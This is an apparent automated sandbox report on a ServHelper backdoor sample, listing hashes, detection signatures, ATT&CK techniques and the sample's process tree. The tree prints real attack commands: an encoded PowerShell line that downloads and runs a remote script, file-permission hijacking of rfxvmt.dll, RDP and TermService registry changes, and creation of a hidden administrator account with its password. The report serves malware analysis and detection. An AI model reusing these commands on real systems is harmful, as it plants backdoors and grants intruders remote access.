servhelper | 65a112982cc0d4e56c078c5333ed3553905bf4f3a639f2ff6e056ab518b6290e

Analysis

max time kernel
138s
max time network
86s
platform
windows7_x64
resource
win7v20210408
submitted
01-10-2021 09:04

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General

Target

c1e0df4f2321e9375baee3a0a26fba64.exe
Size

5.7MB
MD5

c1e0df4f2321e9375baee3a0a26fba64
SHA1

dcf4d90d2f3fd11f14b5413be5b7dde70ff33f7c
SHA256

65a112982cc0d4e56c078c5333ed3553905bf4f3a639f2ff6e056ab518b6290e
SHA512

4bc74603d8a7a28a0c965cb78d7762c01312cdb6ee7d8be8f822ebb6bf3dbd273ac76c3ad5d0c70f9fa9439981c19a9bed4525f445d7faddb93e9db5a66a0ad7

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	1328	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1840	icacls.exe
1572	icacls.exe
2004	icacls.exe
1836	icacls.exe
1588	icacls.exe
748	takeown.exe
1304	icacls.exe
1812	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130db-180.dat	upx
behavioral1/files/0x00050000000130dc-181.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1712	Process not Found
1712	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1840	icacls.exe
1572	icacls.exe
2004	icacls.exe
1836	icacls.exe
1588	icacls.exe
748	takeown.exe
1304	icacls.exe
1812	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d93441dd-9c01-4f73-8447-809faf3d5179	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_73dda96c-9fe9-47dc-8262-94f3f3e78f0b	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d2bec675-438f-48bd-b788-96a6f02b547d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_13866e59-a853-450e-9193-f7912260ded7	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ce3f60d5-2c9d-49d3-b7a5-cc81c30bdb49	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fecde7c8-ded6-42a2-a3c5-38093433a81b	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0823634e-190d-4e08-bee9-92c7e9cdeee4	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d0080020-13b9-4a04-8b5d-e86579b189d4	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b18e80be-0d6c-4141-a5fb-6708fbfff698	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Y1MWRYH4F7HL6GYHO7M3.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_931d44e0-fae0-4c8c-861f-3e9e61733e6a	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ede5cd7d-db88-41be-a752-171fa1551299	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e0b19656b4b6d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1516	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1600	powershell.exe
1600	powershell.exe
984	powershell.exe
984	powershell.exe
1116	powershell.exe
1116	powershell.exe
624	powershell.exe
624	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1328	powershell.exe
1328	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
464	Process not Found
1712	Process not Found
1712	Process not Found
1712	Process not Found
1712	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	984	powershell.exe
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	624	powershell.exe
Token: SeRestorePrivilege	1812	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1392	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1392	WMIC.exe
Token: SeAuditPrivilege	1392	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1392	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1392	WMIC.exe
Token: SeAuditPrivilege	1392	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	964	WMIC.exe
Token: SeIncreaseQuotaPrivilege	964	WMIC.exe
Token: SeAuditPrivilege	964	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	964	WMIC.exe
Token: SeIncreaseQuotaPrivilege	964	WMIC.exe
Token: SeAuditPrivilege	964	WMIC.exe
Token: SeDebugPrivilege	1328	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1120 wrote to memory of 1600	1120	c1e0df4f2321e9375baee3a0a26fba64.exe	28
PID 1120 wrote to memory of 1600	1120	c1e0df4f2321e9375baee3a0a26fba64.exe	28
PID 1120 wrote to memory of 1600	1120	c1e0df4f2321e9375baee3a0a26fba64.exe	28
PID 1600 wrote to memory of 1720	1600	powershell.exe	30
PID 1600 wrote to memory of 1720	1600	powershell.exe	30
PID 1600 wrote to memory of 1720	1600	powershell.exe	30
PID 1720 wrote to memory of 1588	1720	csc.exe	31
PID 1720 wrote to memory of 1588	1720	csc.exe	31
PID 1720 wrote to memory of 1588	1720	csc.exe	31
PID 1600 wrote to memory of 984	1600	powershell.exe	32
PID 1600 wrote to memory of 984	1600	powershell.exe	32
PID 1600 wrote to memory of 984	1600	powershell.exe	32
PID 1600 wrote to memory of 1116	1600	powershell.exe	34
PID 1600 wrote to memory of 1116	1600	powershell.exe	34
PID 1600 wrote to memory of 1116	1600	powershell.exe	34
PID 1600 wrote to memory of 624	1600	powershell.exe	36
PID 1600 wrote to memory of 624	1600	powershell.exe	36
PID 1600 wrote to memory of 624	1600	powershell.exe	36
PID 1600 wrote to memory of 748	1600	powershell.exe	38
PID 1600 wrote to memory of 748	1600	powershell.exe	38
PID 1600 wrote to memory of 748	1600	powershell.exe	38
PID 1600 wrote to memory of 1304	1600	powershell.exe	39
PID 1600 wrote to memory of 1304	1600	powershell.exe	39
PID 1600 wrote to memory of 1304	1600	powershell.exe	39
PID 1600 wrote to memory of 1812	1600	powershell.exe	40
PID 1600 wrote to memory of 1812	1600	powershell.exe	40
PID 1600 wrote to memory of 1812	1600	powershell.exe	40
PID 1600 wrote to memory of 1840	1600	powershell.exe	41
PID 1600 wrote to memory of 1840	1600	powershell.exe	41
PID 1600 wrote to memory of 1840	1600	powershell.exe	41
PID 1600 wrote to memory of 1572	1600	powershell.exe	42
PID 1600 wrote to memory of 1572	1600	powershell.exe	42
PID 1600 wrote to memory of 1572	1600	powershell.exe	42
PID 1600 wrote to memory of 2004	1600	powershell.exe	43
PID 1600 wrote to memory of 2004	1600	powershell.exe	43
PID 1600 wrote to memory of 2004	1600	powershell.exe	43
PID 1600 wrote to memory of 1836	1600	powershell.exe	44
PID 1600 wrote to memory of 1836	1600	powershell.exe	44
PID 1600 wrote to memory of 1836	1600	powershell.exe	44
PID 1600 wrote to memory of 1588	1600	powershell.exe	45
PID 1600 wrote to memory of 1588	1600	powershell.exe	45
PID 1600 wrote to memory of 1588	1600	powershell.exe	45
PID 1600 wrote to memory of 2008	1600	powershell.exe	46
PID 1600 wrote to memory of 2008	1600	powershell.exe	46
PID 1600 wrote to memory of 2008	1600	powershell.exe	46
PID 1600 wrote to memory of 1516	1600	powershell.exe	47
PID 1600 wrote to memory of 1516	1600	powershell.exe	47
PID 1600 wrote to memory of 1516	1600	powershell.exe	47
PID 1600 wrote to memory of 1616	1600	powershell.exe	48
PID 1600 wrote to memory of 1616	1600	powershell.exe	48
PID 1600 wrote to memory of 1616	1600	powershell.exe	48
PID 1600 wrote to memory of 1828	1600	powershell.exe	49
PID 1600 wrote to memory of 1828	1600	powershell.exe	49
PID 1600 wrote to memory of 1828	1600	powershell.exe	49
PID 1828 wrote to memory of 1716	1828	net.exe	50
PID 1828 wrote to memory of 1716	1828	net.exe	50
PID 1828 wrote to memory of 1716	1828	net.exe	50
PID 1600 wrote to memory of 820	1600	powershell.exe	51
PID 1600 wrote to memory of 820	1600	powershell.exe	51
PID 1600 wrote to memory of 820	1600	powershell.exe	51
PID 820 wrote to memory of 1732	820	cmd.exe	52
PID 820 wrote to memory of 1732	820	cmd.exe	52
PID 820 wrote to memory of 1732	820	cmd.exe	52
PID 1732 wrote to memory of 1636	1732	cmd.exe	53

C:\Users\Admin\AppData\Local\Temp\c1e0df4f2321e9375baee3a0a26fba64.exe
"C:\Users\Admin\AppData\Local\Temp\c1e0df4f2321e9375baee3a0a26fba64.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1600
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fehk4zp4\fehk4zp4.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1720
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1AB0.tmp" "c:\Users\Admin\AppData\Local\Temp\fehk4zp4\CSC4EB65C5F36654EED8D7D5A7CB2A1F3A.TMP"
      4⤵
      PID:1588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:624
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:748
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1304
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1812
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1840
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1572
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2004
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1836
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1588
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:2008
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1516
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1616
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1828
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1716
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:820
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1732
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1636
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1624
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1048
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1692
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1908
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1040
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1840
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1144

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1620
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:796
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:676

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc S1ihVIKg /add
1⤵
PID:1296
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc S1ihVIKg /add
  2⤵
  PID:1816
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc S1ihVIKg /add
    3⤵
    PID:2040

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1836
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:2008
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1516

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1576
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:964
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:832

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1612
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:960
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1328

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc S1ihVIKg
1⤵
PID:1668
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc S1ihVIKg
  2⤵
  PID:1840
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc S1ihVIKg
    3⤵
    PID:1144

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2040
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1392

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1288
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:964

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1036
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1328

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/624-156-0x000000001AA74000-0x000000001AA76000-memory.dmp

Filesize
8KB

Download
memory/624-155-0x000000001AA70000-0x000000001AA72000-memory.dmp

Filesize
8KB

Download
memory/984-101-0x0000000002370000-0x0000000002371000-memory.dmp

Filesize
4KB

Download
memory/984-121-0x000000001BD40000-0x000000001BD41000-memory.dmp

Filesize
4KB

Download
memory/984-120-0x000000001BC30000-0x000000001BC31000-memory.dmp

Filesize
4KB

Download
memory/984-107-0x000000001BC80000-0x000000001BC81000-memory.dmp

Filesize
4KB

Download
memory/984-94-0x000000001A900000-0x000000001A902000-memory.dmp

Filesize
8KB

Download
memory/984-95-0x000000001A904000-0x000000001A906000-memory.dmp

Filesize
8KB

Download
memory/984-96-0x000000001A8A0000-0x000000001A8A1000-memory.dmp

Filesize
4KB

Download
memory/984-98-0x000000001B740000-0x000000001B741000-memory.dmp

Filesize
4KB

Download
memory/984-100-0x000000001A980000-0x000000001A981000-memory.dmp

Filesize
4KB

Download
memory/1116-129-0x00000000026B4000-0x00000000026B6000-memory.dmp

Filesize
8KB

Download
memory/1116-134-0x000000001B740000-0x000000001B741000-memory.dmp

Filesize
4KB

Download
memory/1116-132-0x000000001B830000-0x000000001B831000-memory.dmp

Filesize
4KB

Download
memory/1116-130-0x0000000002400000-0x0000000002401000-memory.dmp

Filesize
4KB

Download
memory/1116-128-0x00000000026B0000-0x00000000026B2000-memory.dmp

Filesize
8KB

Download
memory/1116-135-0x0000000001ED0000-0x0000000001ED1000-memory.dmp

Filesize
4KB

Download
memory/1120-64-0x0000000040FB6000-0x0000000040FB7000-memory.dmp

Filesize
4KB

Download
memory/1120-60-0x0000000041430000-0x000000004182F000-memory.dmp

Filesize
4.0MB

Download
memory/1120-65-0x0000000040FB7000-0x0000000040FB8000-memory.dmp

Filesize
4KB

Download
memory/1120-63-0x0000000040FB4000-0x0000000040FB6000-memory.dmp

Filesize
8KB

Download
memory/1120-62-0x0000000040FB2000-0x0000000040FB4000-memory.dmp

Filesize
8KB

Download
memory/1328-237-0x000000001965A000-0x0000000019679000-memory.dmp

Filesize
124KB

Download
memory/1328-205-0x0000000019650000-0x0000000019652000-memory.dmp

Filesize
8KB

Download
memory/1328-207-0x0000000019654000-0x0000000019656000-memory.dmp

Filesize
8KB

Download
memory/1600-70-0x00000000023C0000-0x00000000023C1000-memory.dmp

Filesize
4KB

Download
memory/1600-68-0x0000000002260000-0x0000000002261000-memory.dmp

Filesize
4KB

Download
memory/1600-102-0x000000001AC0A000-0x000000001AC29000-memory.dmp

Filesize
124KB

Download
memory/1600-87-0x00000000026D0000-0x00000000026D1000-memory.dmp

Filesize
4KB

Download
memory/1600-86-0x000000001C1A0000-0x000000001C1A1000-memory.dmp

Filesize
4KB

Download
memory/1600-85-0x000000001B780000-0x000000001B781000-memory.dmp

Filesize
4KB

Download
memory/1600-157-0x000000001CB90000-0x000000001CB91000-memory.dmp

Filesize
4KB

Download
memory/1600-75-0x000000001B6B0000-0x000000001B6B1000-memory.dmp

Filesize
4KB

Download
memory/1600-73-0x000000001AC04000-0x000000001AC06000-memory.dmp

Filesize
8KB

Download
memory/1600-72-0x000000001AC00000-0x000000001AC02000-memory.dmp

Filesize
8KB

Download
memory/1600-71-0x0000000002590000-0x0000000002591000-memory.dmp

Filesize
4KB

Download
memory/1600-83-0x00000000023B0000-0x00000000023B1000-memory.dmp

Filesize
4KB

Download
memory/1600-67-0x000007FEFB681000-0x000007FEFB683000-memory.dmp

Filesize
8KB

Download
memory/1600-69-0x000000001AC80000-0x000000001AC81000-memory.dmp

Filesize
4KB

Download